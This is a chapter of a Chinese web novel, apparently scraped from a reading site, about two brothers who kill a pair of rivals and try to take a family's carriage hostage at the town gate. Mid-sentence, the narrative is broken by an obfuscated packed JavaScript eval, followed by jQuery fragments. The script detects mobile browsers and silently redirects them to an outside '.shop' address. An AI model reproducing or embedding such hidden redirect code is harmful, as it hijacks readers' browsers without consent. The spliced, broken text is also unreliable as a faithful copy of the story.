江序还有半个月便要进行院试,院试在南宁府举行,离宛河镇不远,驾车一天也就到了,院试由提督学政主持,受主观影响颇大。
每次考试前,考生们便会想尽办法打听此次提督学政的喜好,以投其所好,好在此次负责督考的提督学政没有明显的喜好,风格较为中庸稳重,只要江序正常发挥,考秀才不是问题。
考中秀才后分为三等,第一等便是禀生,考中禀生者可以入府学学习,并且免除学费,提供住宿,还会有钱粮奖励,江序虽对自己自信,但是也不确定自己能不能在众多优秀者之中脱颖而出,所以学习一向用功。
这几天他并没有察觉家里有什么不对劲,周芷和张金花在他面前掩饰的很好,生怕他分心。
某天中午,他突然想起来,还问了一嘴:“阿芷,这段时间没有歹人作祟吧?”
周芷与张金花对视一眼,随后放松的笑道:“没有,一切都好,你放心,安心读书就是。”
“那就好。”江序点点头。
这几天刘大刘二的日子可不好过,他们拿到了豆腐方子,可还没等高兴几天,街上就雨后春笋般冒出来好多豆腐摊子,并且他们的豆腐无一例外,做的都比他们要好。
眼看着自家摊子无人问津,别人的摊子红红火火,刘大刘二心里便憋着一股气。
比他们还生气的是孙铁柱和孙铁石,他们被刘大刘二忽悠花大价钱买了这豆腐方子,现在可好,原本指着这个挣大钱,现在是赔了夫人又折兵。
刘大刘二从孙铁柱手里赚了一笔,日子倒也没有那么难过,可孙铁柱兄弟二人不同,他们的钱几乎全被刘大刘二坑了去,怎能甘心。
于是这天夜里,孙铁柱喝多了就便来哐哐拍门辱骂二人,让他们把钱还回来,刘大刘二心情也不畅,双方一言不合便打了起来。
孙铁柱赤红着眼扑在刘大身上,死命的掐着他的脖子,一旁的孙铁石与刘二也扭打在一块。
刘大怒气上涌,挣扎中手摸到院子里的铁锹,拿起便用尽全力砸在孙铁柱头上,一声巨响,孙铁柱头上一疼,理智回笼,抬起手摸了摸后脑勺,大片喷涌而出的鲜血顺着脊背往下流。
他慌了神,大口大口的喘着气,喉咙嘶哑着发出几声呼喊,便倒在一旁没了意识。
孙铁石一见此情况立刻扑过去,颤抖着探了探他的鼻息,见没了呼吸,心里一滞,扑在他哥的尸体上嚎啕出声:“哥!哥你醒醒!”
刘大见自己杀了人,慌忙后退爬起来,心跳如雷。
孙铁石面容悲戚,大吼一声,拿起一旁的铁锹要杀了刘大为哥哥报仇,刘二从背后拿砖头猛地砸向他的后脑。
孙铁石不可置信的慢慢转过身,鲜血顺着额头往下淌,面容僵硬,在月光的映照下犹如索命的厉鬼。
刘二心一颤,思索着要不要再给他来一下以绝后患,他便轰隆一身栽倒在地一动不动,刘二小心翼翼地踢了他几下,发现他一点动静都没有。
“大哥,他也死了。”刘二这才察觉到心里慌,“我们怎么办?”
刘大肌肉紧绷,身体微微颤抖,紧紧的握住拳头,指甲深深地嵌入掌心,一阵刺痛似乎分散了他内心的恐惧,面上镇定道:“慌什么,又不是没杀过,收拾东西,我们立刻离开!”
刘二扔下手中的砖头,慌忙跑进屋内收拾东西,二人也没什么用收拾的,带了身衣物和银钱,不过片刻便趁着夜色离开。
在他们走后的一个时辰,孙铁柱手指突然颤了颤,随后悠悠转醒,脑后传来的刺痛让他不自觉的伸手去摸,一看一手的血这才想起来他刚才在和刘大打架。
“铁石呢?”他内心思忖着。
视线巡视了一圈院子,忽然看见躺在了地上的孙铁石,顿时瞪大眼睛,内心大泣,慌张爬过去,抱起孙铁石,发现他已经彻底没有了脉搏。
刘大刘二两人趁着夜色来到城门口,因为有宵禁,晚上城门是不开的,他们要等到五更,城门打开才能出去,二人缩在附近的一个没开门的小茶摊旁边,静静等着开城门。
……
四更天,天还黑着,只有一层朦胧的月光照耀,张金花紧张的不行,睡不着觉干脆早早的起身收拾行李。
再过半月江序要进行院试,到时府城里肯定全是赶考的学子,去的迟了说不定赁不到院子,因此她便让周芷和江序二人早早的出发,提前去赁个院子好适应适应环境。
他们也租好了马车,提前谈好了价钱,还差一刻到五更天时,周芷和江序便带着一马车书本和行李离开了江家,张金花不放心,打算将他们送出城,好在马车够大,倒也能塞得下张金花与江老爹。
五更天一到,宛河镇的城门便缓缓开启,城外的人早早的排好队要进来,有多数是周围住着的农户带着自己种的菜,养的鸡鸭进城售卖,出城的人则少了很多,排队的寥寥几人。
江家的马车缀在队伍末尾,张金花还在不停的絮叨:“阿芷啊,到了那别担心银钱,该花就花,阿娘这还有,三郎,你去了那温习功课也要适度,别关键时刻熬坏了身子,听见没有?”
江序点点头,周芷在一旁道:”阿娘,你放心吧,我们都不是小孩子了,会照顾好自己的,倒是你们在家不要舍不得吃喝。”她是知道张金花的,只有她和江老爹的时候是能省就省,舍不得花钱。
张金花心里熨贴,面上却佯怒道:“我是娘你是娘,还教训起我来了。”
周芷噗嗤一笑:“您是娘,但也要听话不是?”
江序和江老爹没说话,都在一旁笑着看婆媳二人,一时间马车里的氛围极为温馨。
出城的队伍很快,马车也在城门口停了下来,等前面几人通过检查出了城门,便要到他们了。
张金花再不舍也必须得下来了,要不然出了城门还得再排一次队进来,很是麻烦。
江老爹先下,张金花紧随其后,扶着他的胳膊刚跨下马车,身后就传来了一阵吵嚷的声音,竟是衙役骑着马过来大喊:“关上城门,所有人不许出城!”
周芷原本伸出半个身子送张金花,一听见衙役的声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272615|136660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
音,心里顿时一惊,这是怎么了?出了什么大事用得着骑马来关城门?
要知道,马是稀罕物件,除了富有和有门路的人家,很少能有人能供得起养马,连县衙也只有七八匹而已,还都不是那种军用战马,只是普通的马,他们租的马车也是花费了大价钱。
邢都头驾着马赶到城门口,“吁”地一声勒住马,今日接到报案,竟然发生了一起恶性杀人案,县令大人震怒,大晚上的就派人将他们叫来查案。
他紧赶慢赶终于赶到了城门口,也不知那杀人的刘大和刘二有没有出了城门,他眉头紧簇,四处张望着,打算去问问守城门的衙差。
刘大刘二站在马车前两三个位置,借着马车的遮掩挡住自己的身影,看着近在咫尺的城门口一阵懊恼,就只差一点他们就能出城离开!偏偏在这个紧要关头被拦住!
刘大几乎呕出血来,察觉到嘴里的血腥味,他强力压下内心的慌张,祈祷着不要发现他们。
张金花与邢都头也算是熟识,之前江序为感谢他,还特意请他们一家来江家吃饭,两家人关系甚好,不过这会子他在办差,倒是不好打招呼,下了马车,她便站在一旁静静地等着。
周芷有些好奇,掀开布帘的一角去看。
邢都头与守城门的衙差交涉完,听到已经有三四个人出了城门,眉心紧簇,那两个歹人不会已经出了城门吧?
但现在最要紧的是先查探这里排队的有没有那刘大刘二,实在找不到,他便立刻骑马出去,希望能赶上。
不过他内心倒是不抱希望能在这里找到那二人。
刘大刘二此时内心焦灼无比,想要离开,但此时离开目标过大,太过显眼,一眼就能看出来他们不对劲,但在这等着就是束手就擒,内心实在太过煎熬。
刘大左看右看思索着办法,突然眸光一顿,发现马车旁站着的是卖豆腐的张金花夫妻俩,再一仔细看,那马车里赫然是害他至此的周芷!
虽然他从未与周芷有过什么正面接触,但是在他心里一切的祸患根源便是周芷,要不是她卖豆腐,他也不会想要豆腐方子,也就不会惹下这许多祸事!
他定定的看着那掀开的帘子一角,内心的焦灼积攒成怒气,渐渐的涌现出一个想法,反正现在也是没有别的法子,何不挟持他们,好让自己出城?
思索片刻,与刘二耳语几番,兄弟二人看着即将搜查到他们的衙役,顿时恶从胆边生,悄悄绕过马车后边,想要挟持周芷,然后以她为要挟,驾着马车出城!
周芷倚在窗边,突然感觉好像有人在看着自己,心里莫名的一阵恶寒,下意识地冲着目光回看过去,竟是看到了这双眼睛里的森森恶意!
眸光再一定,她看到了他衣领口未擦干净的血!
意识到什么,周芷瞬间大喊:“有歹人!”
这一声喊的周围人都慌张不已,刘大和刘二也是被她吓了一跳,没想到竟是被她识破。
刘大心一横,这是他们最后的机会,飞身上前就要去拽马车,想要抢占车夫的位置。